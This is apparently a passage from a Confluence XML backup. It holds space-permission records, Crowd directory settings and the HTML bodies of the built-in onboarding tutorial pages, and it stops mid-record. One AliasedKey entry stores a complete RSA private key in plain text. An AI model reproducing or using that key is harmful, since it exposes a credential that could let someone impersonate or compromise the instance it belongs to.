<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458766</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[REMOVEOWNCONTENT]]></property>
|
||||
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.329</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.329</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458767</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[COMMENT]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.332</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.332</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458760</id>
|
||||
<property name="type"><![CDATA[CREATESPACE]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:18.418</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:18.418</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458761</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[VIEWSPACE]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.263</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.263</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458762</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[VIEWSPACE]]></property>
|
||||
<property name="group"><![CDATA[confluence-users]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.305</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.305</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458763</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[VIEWSPACE]]></property>
|
||||
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.315</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.315</property>
|
||||
</object>
|
||||
<object class="AliasedKey" package="com.atlassian.confluence.security.persistence.dao.hibernate">
|
||||
<id name="id">65537</id>
|
||||
<property name="alias"><![CDATA[confluence:174556]]></property>
|
||||
<property name="key"><![CDATA[ RSA public MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArOTFjqwSVsGy6FLWppvYB04deZb5FsAe8BwS2mub/YFUOmc61ia97mcHDaqPKyRrM7QlJUdAQXRWMqycZuumGUahSyC6xsxsQLHSPsf2f6f1naTdL4anPfvzWlYaAl+WAPydpY9ZkgWlxXxzbmvd8Av4Ay84P8qfCNdufpn9QshrV0F3ZODU4gCr2LJRd49eWGSpxUJDvL9MQNOrxtyaDb9r/mxZ48Ed0Fn+kBmLrBxryyC055I0dBIS+JKDQb3qbHymwBQ1qYPdR85BIO6ozYd4UQ1ZeaeKK4T/zn7nohlVyLlDhcfGW0SicxkGfXOiDl8YgaGZeJQXSiQeHTYRYwIDAQAB ]]></property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458756</id>
|
||||
<property name="type"><![CDATA[USECONFLUENCE]]></property>
|
||||
<property name="group"><![CDATA[confluence-users]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:18.397</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:18.397</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458757</id>
|
||||
<property name="type"><![CDATA[SYSTEMADMINISTRATOR]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:18.406</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:18.406</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458758</id>
|
||||
<property name="type"><![CDATA[PERSONALSPACE]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:18.410</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:18.410</property>
|
||||
</object>
|
||||
<object class="AliasedKey" package="com.atlassian.confluence.security.persistence.dao.hibernate">
|
||||
<id name="id">65538</id>
|
||||
<property name="alias"><![CDATA[confluence:174556]]></property>
|
||||
<property name="key"><![CDATA[ RSA private MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCs5MWOrBJWwbLoUtamm9gHTh15lvkWwB7wHBLaa5v9gVQ6ZzrWJr3uZwcNqo8rJGsztCUlR0BBdFYyrJxm66YZRqFLILrGzGxAsdI+x/Z/p/WdpN0vhqc9+/NaVhoCX5YA/J2lj1mSBaXFfHNua93wC/gDLzg/yp8I125+mf1CyGtXQXdk4NTiAKvYslF3j15YZKnFQkO8v0xA06vG3JoNv2v+bFnjwR3QWf6QGYusHGvLILTnkjR0EhL4koNBvepsfKbAFDWpg91HzkEg7qjNh3hRDVl5p4orhP/OfueiGVXIuUOFx8ZbRKJzGQZ9c6IOXxiBoZl4lBdKJB4dNhFjAgMBAAECggEAM9D+moNcna7AyVsmZNmZNZtGPy4tqhFbVFf9mIOexSvRDA3rNsp2qvAqz4A6F1J7ZIwNg+4mRlexC8/qsffXGIUwCv2crL8QhJUmr1UrvdefR6dk+Pzwu6V6qiza77IpGVOchcWAMUDLDXR+fe4LHonfw0iQIaI+5p32SjAplK1QsFbUmcmNqDr+lBIord6xwRjqJJnN5scHfV3zPKn8boida508IaSrvpFBfEMcq77Mw0wPKzPFToKGkOaGAp2mRNBoz9j4vVvy0snOee51tRtlVPu1+Hp8q4nNbif8oJPc9eVjSO48kUOncIZmyx4HYc04UgYn5du66vnqbEbjGQKBgQDoUz/GFrP5zaWPB1AJZgeDUt8+3D9eH7C96J9Td3gaNsVsLgRHd98L8oQaTZxxSrKCAEFkroI15Sapa4HZ0klrWTmZWk0Z2nP8YsotPz345+Ywj4a9+m7+HBisDREt+vT8X3lV83B22/WyQf8dd8Bo1XBslve0H0c8S+8BB5C/aQKBgQC+gxw8gm55a95EFLMS3xDtuJTaUkqHm35k5Hd11G4wSetlTCVRKQ5ErnpSvTFH4f2n5Ke4CEdFFgqYIlnhIfzUYyfeeswcxokbwFnDiF8e76Uel0Asng8a0TbJEmGtrkCAW9cQSFX5gFx26VwT7BW2Tu6GzoY8pduq9h2ihTP86wKBgQCkBlKaSmEa1uQyjRkm6ZAYWaQgP2PF0l34VopWZZy39T+BVyPSSYGCb+BwqabwHarWOdPxf3uTDYw0RSDSZrNLRR1zddvFiwQkhqLzOxlH6IIOeubIrk06vx90KW2dpvbcT5Pc6RjX8ggPqKSza16/JSJQqG2OEB89JOdDNNIvMQKBgQCx/fDtn7bzfpJk7Sn5oatBTsjTyTqUw/Qs8z+hON3SA94IAEKFN2R7SsBCeTyHul6w8/K3ABUGOPeg98cdjhGXpSRkujnlUKBc6zNyegDU+HU+xXVRukLGfV1AMwpLqJfe1O9z6QFaYFEDUDeU7WfDsq8sB9xm4VcAvX0mkGjoDQKBgAiPqCJ/bRYhkbs4ZRRfioa5EfQG6oH9VEVHSXP4lG+wzRMjFKOvA+cosXlnZlkqTFzX2bFW2Hm582ikaY1AYHS/gGNPKoN5FRxR+4s3bZ4kQ2YRj1X6aTnE6cG5UWyzHKQXmxYSiLEbS1bofb1D8qaBVWhoJ74DcsfWCeY58gGT ]]></property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458759</id>
|
||||
<property name="type"><![CDATA[CREATESPACE]]></property>
|
||||
<property name="group"><![CDATA[confluence-users]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:18.415</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:18.415</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458753</id>
|
||||
<property name="type"><![CDATA[USECONFLUENCE]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:18.336</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:18.336</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458754</id>
|
||||
<property name="type"><![CDATA[PERSONALSPACE]]></property>
|
||||
<property name="group"><![CDATA[confluence-users]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:18.391</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:18.391</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458755</id>
|
||||
<property name="type"><![CDATA[ADMINISTRATECONFLUENCE]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:18.394</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:18.394</property>
|
||||
</object>
|
||||
<object class="DirectoryImpl" package="com.atlassian.crowd.model.directory">
|
||||
<id name="id">360449</id>
|
||||
<property name="name"><![CDATA[Confluence Internal Directory]]></property>
|
||||
<property name="lowerName"><![CDATA[confluence internal directory]]></property>
|
||||
<property name="createdDate">2023-11-09 06:04:18.127</property>
|
||||
<property name="updatedDate">2023-11-09 06:04:18.127</property>
|
||||
<property name="active">true</property>
|
||||
<property name="description"><![CDATA[Confluence default internal directory]]></property>
|
||||
<property name="implementationClass"><![CDATA[com.atlassian.crowd.directory.InternalDirectory]]></property>
|
||||
<property name="lowerImplementationClass"><![CDATA[com.atlassian.crowd.directory.internaldirectory]]></property>
|
||||
<property name="type" enum-class="DirectoryType" package="com.atlassian.crowd.embedded.api">INTERNAL</property>
|
||||
<collection name="allowedOperations" class="java.util.Set"><element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_GROUP_ATTRIBUTE</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">CREATE_ROLE</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">DELETE_USER</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_ROLE_ATTRIBUTE</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_USER</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_USER_ATTRIBUTE</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_GROUP</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">CREATE_USER</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">DELETE_ROLE</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">CREATE_GROUP</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">DELETE_GROUP</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_ROLE</element>
|
||||
</collection>
|
||||
<collection name="attributes" class="java.util.Map"><element name="user_encryption_method" type="string"><![CDATA[atlassian-security]]></element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="ApplicationImpl" package="com.atlassian.crowd.model.application">
|
||||
<id name="id">327681</id>
|
||||
<property name="name"><![CDATA[crowd-embedded]]></property>
|
||||
<property name="lowerName"><![CDATA[crowd-embedded]]></property>
|
||||
<property name="createdDate">2023-11-09 06:04:18.083</property>
|
||||
<property name="updatedDate">2023-11-09 06:04:18.165</property>
|
||||
<property name="active">true</property>
|
||||
<property name="description"/><property name="type" enum-class="ApplicationType" package="com.atlassian.crowd.model.application">GENERIC_APPLICATION</property>
|
||||
<component name="credential"><property name="credential" type="string"><![CDATA[X]]></property>
|
||||
</component>
|
||||
<collection name="attributes" class="java.util.Map"><element name="com.sun.jndi.ldap.connect.pool.initsize" type="string"><![CDATA[1]]></element>
|
||||
<element name="atlassian_sha1_applied" type="string"><![CDATA[true]]></element>
|
||||
<element name="com.sun.jndi.ldap.connect.pool.timeout" type="string"><![CDATA[30000]]></element>
|
||||
<element name="com.sun.jndi.ldap.connect.pool.authentication" type="string"><![CDATA[simple]]></element>
|
||||
<element name="com.sun.jndi.ldap.connect.pool.maxsize" type="string"><![CDATA[0]]></element>
|
||||
<element name="com.sun.jndi.ldap.connect.pool.prefsize" type="string"><![CDATA[10]]></element>
|
||||
<element name="aggregateMemberships" type="string"><![CDATA[true]]></element>
|
||||
<element name="com.sun.jndi.ldap.connect.pool.protocol" type="string"><![CDATA[plain ssl]]></element>
|
||||
</collection>
|
||||
<collection name="directoryMappings" class="java.util.List"><element class="DirectoryMapping" package="com.atlassian.crowd.model.application"><id name="id">393217</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="BodyContent" package="com.atlassian.confluence.core">
|
||||
<id name="id">163844</id>
|
||||
<property name="body"><![CDATA[<ac:layout><ac:layout-section ac:type="single"><ac:layout-cell><p><span style="color: rgb(64,64,64);">Confluence automatically transforms linked content</span> <span style="color: rgb(64,64,64);">into rich content.</span> <span style="color: rgb(64,64,64);">Try it with Confluence pages, JIRA issues, YouTube and Vimeo videos, <br /></span><span style="color: rgb(64,64,64);">Flickr photo streams, Tweets, Google maps and many more.</span></p><p><span style="color: rgb(64,64,64);">Here's two examples of autoconvert in action.</span></p></ac:layout-cell></ac:layout-section><ac:layout-section ac:type="two_equal"><ac:layout-cell><h3> <br /><ac:structured-macro ac:name="widget" ac:schema-version="1" ac:macro-id="e115eec2-dcf7-445c-b563-aca39824d38e"><ac:parameter ac:name="url"><ri:url ri:value="http://youtube.com/watch?v=RXhL9cfwx2c" /></ac:parameter></ac:structured-macro></h3></ac:layout-cell><ac:layout-cell><p><span style="color: rgb(0,0,0);"> <ac:structured-macro ac:name="widget" ac:schema-version="1" ac:macro-id="6f0d84bb-46ee-40a0-8379-fb9a87faf7c7"><ac:parameter ac:name="url"><ri:url ri:value="https://maps.google.com/maps?q=Atlassian,+George+Street,+New+South+Wales,+Australia&hl=en&ll=-33.866572,151.207001&spn=0.004321,0.008256&sll=-33.870509,151.203707&sspn=0.008641,0.016512&oq=atlassian,&hq=Atlassian,+George+Street,+New+South+Wales,+Australia&radius=15000&t=m&z=18&iwloc=A" /></ac:parameter></ac:structured-macro> </span></p></ac:layout-cell></ac:layout-section><ac:layout-section ac:type="two_equal"><ac:layout-cell><h3><span style="color: rgb(51,51,51);">Try it yourself:</span></h3><ol><li><span> <span> <span style="color: rgb(51,51,51);"> <span> <strong>Edit</strong> this page.</span> </span> </span> </span></li><li><span> <span> <span style="color: rgb(51,51,51);"> <span>Copy this link <a href="https://youtu.be/RXhL9cfwx2c">https://youtu.be/RXhL9cfwx2c</a> and paste it onto the page.</span> <br /></span> </span> </span></li><li><span style="color: rgb(51,51,51);">Autoconvert will embed the YouTube video on the page.</span></li><li><span style="color: rgb(51,51,51);">Save the page. <br /></span></li></ol></ac:layout-cell><ac:layout-cell><h3><span style="color: rgb(51,51,51);"> <span style="color: rgb(51,51,51);">Try it yourself</span>:</span></h3><ol><li><strong>Edit</strong> this page.</li><li>Copy this link <a href="https://maps.google.com/maps?q=Atlassian,+George+Street,+New+South+Wales,+Australia&hl=en&ll=-33.866572,151.207001&spn=0.004321,0.008256&sll=-33.870509,151.203707&sspn=0.008641,0.016512&oq=atlassian,&hq=Atlassian,+George+Street,+New+South+Wales,+Australia&radius=15000&t=m&z=18&iwloc=A">https://maps.google.com/maps?q=Atlassian,+George+Street,+New+South+Wales,+Australia&hl=en&ll=-33.866572,151.207001&spn=0.004321,0.008256&sll=-33.870509,151.203707&sspn=0.008641,0.016512&oq=atlassian,&hq=Atlassian,+George+Street,+New+South+Wales,+Australia&radius=15000&t=m&z=18&iwloc=A</a> and paste it onto the page. </li><li>Autoconvert will render the Google Maps view on the page.</li><li><span style="color: rgb(51,51,51);">Save the page. <br /></span></li></ol></ac:layout-cell></ac:layout-section><ac:layout-section ac:type="single"><ac:layout-cell><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"> <br /></span></h1><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"> <ac:link><ri:page ri:content-title="Lay out your page (step 6 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="prev.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link> <ac:link><ri:page ri:content-title="Welcome to Confluence" /><ac:link-body><ac:image><ri:attachment ri:filename="home.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link> <ac:link><ri:page ri:content-title="Tell people what you think in a comment (step 8 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="next.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link> </span></h1><p><span style="color: rgb(51,51,51);"> <br /></span></p></ac:layout-cell></ac:layout-section></ac:layout>]]></property>
|
||||
<property name="content" class="Page" package="com.atlassian.confluence.pages"><id name="id">98314</id>
|
||||
</property>
|
||||
<property name="bodyType">2</property>
|
||||
</object>
|
||||
<object class="BodyContent" package="com.atlassian.confluence.core">
|
||||
<id name="id">163845</id>
|
||||
<property name="body"><![CDATA[<p><span style="color: rgb(64,64,64);"><br /></span></p><p><span style="color: rgb(64,64,64);">Once you've created content you'll want to share it with your team members. <br /></span><span style="color: rgb(64,64,64);">Confluence can do all the work for you, just click the <strong>Share</strong> button.<br /></span></p><p style="margin-left: 30.0px;"><span style="color: rgb(64,64,64);"><span style="color: rgb(64,64,64);"><br /></span></span></p><ol><li>Let's tell someone about this page. <br />Click the <strong>Share</strong> button at the top right of the page. It looks like this:<br /><br /><ac:image ac:width="379"><ri:attachment ri:filename="step09-01.png" /></ac:image><br /> </li><li>Type the name of the person or group you want to share the page with. <br />You can also enter an email address. <br /><br /></li><li>Add a message to give the person some background about the page.<br /><br /></li><li>Click the <strong>Share</strong> button. <br />Confluence will send the person an email message about this page. Shared!</li></ol><p> </p><p><img class="emoticon emoticon-warning" title="(warning)" src="http://localhost:8090/s/en_GB/7502/10587128b0de2a71f82b5acc129b8b5611829c93/_/images/icons/emoticons/warning.png" alt="(warning)" border="0" /><span style="color: rgb(64,64,64);"> If your administrator has not added a mail server, the </span><strong>Share</strong><span style="color: rgb(64,64,64);"> button will only show the share link.<br /></span></p><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><ac:link><ri:page ri:content-title="Tell people what you think in a comment (step 8 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="prev.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link> <ac:link><ri:page ri:content-title="Welcome to Confluence" /><ac:link-body><ac:image><ri:attachment ri:filename="home.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link> </span></h1><p style="margin-left: 30.0px;"><span style="color: rgb(51,51,51);"><br /></span></p>]]></property>
|
||||
<property name="content" class="Page" package="com.atlassian.confluence.pages"><id name="id">98306</id>
|
||||
</property>
|
||||
<property name="bodyType">2</property>
|
||||
</object>
|
||||
<object class="BodyContent" package="com.atlassian.confluence.core">
|
||||
<id name="id">163846</id>
|
||||
<property name="body"><![CDATA[<ac:layout><ac:layout-section ac:type="single"><ac:layout-cell><p style="margin-left: 60.0px;"><br /></p><p>Insert tables with drag and drop simplicity. <br />Add, remove, cut, and paste rows and columns – this makes working with tables easy. <br /> </p></ac:layout-cell></ac:layout-section><ac:layout-section ac:type="two_right_sidebar"><ac:layout-cell><ol><li><span style="color: rgb(51,51,51);"><strong>Edit</strong> the page.<br /> <br /></span></li><li><span style="color: rgb(51,51,51);">Click in the right-hand column to position your cursor.<br /> <br /></span></li><li>Click the <strong>Table</strong> menu on the toolbar and drag to choose the size of your table. <br /><br /><ac:image ac:thumbnail="true" ac:width="225"><ri:attachment ri:filename="step05-01.png" /></ac:image><br /> </li><li>The table toolbar appears when there is table on your page.<br /><br /></li><li>Place your cursor in the first cell of the table and add a row below it.<br /><br /><ac:image ac:thumbnail="true" ac:width="160"><ri:attachment ri:filename="step05-03.png" /></ac:image><br /><br /></li><li>Place your cursor in any cell of the last column of the table and delete the column.<br /><br /><ac:image ac:thumbnail="true" ac:width="160"><ri:attachment ri:filename="step05-04.png" /></ac:image><br /> </li><li>Grab one of the column borders and drag to resize the column.<br /><br /></li><li><span style="line-height: 1.42857;">Click </span><strong style="line-height: 1.42857;">Update </strong><span style="line-height: 1.42857;">to publish your changes to the page.</span></li></ol></ac:layout-cell><ac:layout-cell><p><br /></p></ac:layout-cell></ac:layout-section><ac:layout-section ac:type="single"><ac:layout-cell><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><br /></span></h1><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><ac:link><ri:page ri:content-title="Prettify the page with an image (step 4 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="prev.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link> <ac:link><ri:page ri:content-title="Welcome to Confluence" /><ac:link-body><ac:image><ri:attachment ri:filename="home.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link> <ac:link><ri:page ri:content-title="Lay out your page (step 6 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="next.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link></span></h1></ac:layout-cell></ac:layout-section></ac:layout>]]></property>
|
||||
<property name="content" class="Page" package="com.atlassian.confluence.pages"><id name="id">98332</id>
|
||||
</property>
|
||||
<property name="bodyType">2</property>
|
||||
</object>
|
||||
<object class="BodyContent" package="com.atlassian.confluence.core">
|
||||
<id name="id">163847</id>
|
||||
<property name="body"><![CDATA[<p><br />You can start a discussion by simply leaving a comment on a page, like this one.</p><p>Why not give it a try?</p><p>Go to the bottom of this page and start typing in the comment area. When you're finished just press save! </p><p>Don't just confine your comments to the bottom of the page - highlight some text on the page to add an inline comment like this:</p><p><br /></p><p><ac:image ac:width="417"><ri:attachment ri:filename="Step8-01.png" /></ac:image></p><p><br /></p><p><strong>Hint:</strong> You can mention another user in a page or comment by typing @ and then the user's name. <br />The user will be notified that you mentioned them.</p><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><br /></span></h1><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><br /></span></h1><h1 style="text-align: center;"><ac:link><ri:page ri:content-title="Learn the wonders of autoconvert (step 7 of 9)" /><ac:link-body><ac:image ac:height="40" ac:width="106"><ri:attachment ri:filename="prev.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link> <ac:link><ri:page ri:content-title="Welcome to Confluence" /><ac:link-body><ac:image><ri:attachment ri:filename="home.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link> <ac:link><ri:page ri:content-title="Share your page with a team member (step 9 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="next.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link></h1><p><span style="color: rgb(51,51,51);"><br /></span></p>]]></property>
|
||||
<property name="content" class="Page" package="com.atlassian.confluence.pages"><id name="id">98305</id>
|
||||
</property>
|
||||
<property name="bodyType">2</property>
|
||||
</object>
|
||||
<object class="BodyContent" package="com.atlassian.confluence.core">
|
||||
<id name="id">163848</id>
|
||||
<property name="body"><![CDATA[<p>Page layouts provide structure in your page — two-column, three-column, and more — making it easy for anyone to create beautiful pages.</p><p> </p><ol><li><span style="color: rgb(51,51,51);"><strong>Edit</strong> the page.<br /> </span></li><li><span style="color: rgb(51,51,51);">Click the <strong>Page Layout</strong></span> button in the editor toolbar. It looks like this:<br /><br /><ac:image ac:thumbnail="true" ac:width="160"><ri:attachment ri:filename="step06-image01.png" /></ac:image><br /><span style="color: rgb(51,51,51);"><br /> </span>A section is added to your page, dotted lines indicate the section boundaries. <br /> </li><li>Choose a <strong>column layout</strong> to apply to your section, for example two columns. <br /><br /><ac:image ac:width="308"><ri:attachment ri:filename="step06-image02.png" /></ac:image> <br /> </li><li><span style="color: rgb(51,51,51);">Click the <strong>Add section</strong> button to add another section to the page. <br /><br /><ac:image ac:width="385"><ri:attachment ri:filename="step06-image03.png" /></ac:image><br /> </span></li><li><span style="color: rgb(51,51,51);">Choose a different <strong>column layout</strong> for this section. <br /><br /></span></li><li>Click <strong>Update </strong>to publish your changes to the page.</li></ol><p><span>You can add as many sections as you need, and each section can have a different column layout. </span></p><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><br /></span></h1><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><ac:link><ri:page ri:content-title="Get serious with a table (step 5 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="prev.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link> <ac:link><ri:page ri:content-title="Welcome to Confluence" /><ac:link-body><ac:image><ri:attachment ri:filename="home.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link> <ac:link><ri:page ri:content-title="Learn the wonders of autoconvert (step 7 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="next.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link></span></h1>]]></property>
|
||||
<property name="content" class="Page" package="com.atlassian.confluence.pages"><id name="id">98321</id>
|
||||
</property>
|
||||
<property name="bodyType">2</property>
|
||||
</object>
|
||||
<object class="BodyContent" package="com.atlassian.confluence.core">
|
||||
<id name="id">163849</id>
|
||||
<property name="body"><![CDATA[<p><br /></p><p>Let's start with the editor. You'll use the Confluence editor to <strong>create</strong> and <strong>edit</strong> pages.<br />You can type in the editor as you would in any document, apply formatting, and embed other content and files into the page.</p><p>The editor looks like this <span style="color: rgb(153,153,153);">(click images for a larger view)</span>:</p><p><br /></p><p><ac:image ac:width="511"><ri:attachment ri:filename="step-2-image-1.png" /></ac:image></p><p><br /></p><p><span>Here is a description of the components:</span></p><ol><li><h4><span style="color: rgb(0,0,0);">Editor toolbar</span></h4><span style="color: rgb(51,51,51);">The editor toolbar provides tools to format and color page content, create lists and tables, indent and align text, and insert other content into the page such as symbols, links, images, multimedia files, and macros.<br /><br /></span><ac:image ac:width="870"><ri:attachment ri:filename="step-2-image-3.png" /></ac:image><br /><br /></li><li><h4><span style="color: rgb(0,0,0);">Page content</span></h4><span style="color: rgb(51,51,51);">This is where you and your team will type the content for your page. You can also drag attachments from your desktop here.<br /></span>If other people are editing the page at the same time, you'll see their changes in real time! <br /><br /><br /></li><li><h4><span style="color: rgb(0,0,0);">Publish or close</span></h4><span style="color: rgb(0,0,0);">We're saving all the time in the editor. Once you're ready, hit <strong>publish</strong> to publish your page so others can see the changes, or <strong>close</strong> to finish editing later.<br /><br /><ac:image ac:width="800"><ri:attachment ri:filename="step-2-image-5.png" /></ac:image></span><br /><br /></li></ol><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><br /></span></h1><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><ac:link><ri:page ri:content-title="What is Confluence? (step 1 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="prev.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link> <ac:link><ri:page ri:content-title="Welcome to Confluence" /><ac:link-body><ac:image><ri:attachment ri:filename="home.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link> <ac:link><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="next.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link></span></h1><p><span style="color: rgb(51,51,51);"><br /></span></p>]]></property>
|
||||
<property name="content" class="Page" package="com.atlassian.confluence.pages"><id name="id">98322</id>
|
||||
</property>
|
||||
<property name="bodyType">2</property>
|
||||
</object>
|
||||
<object class="BodyContent" package="com.atlassian.confluence.core">
|
||||
<id name="id">163850</id>
|
||||
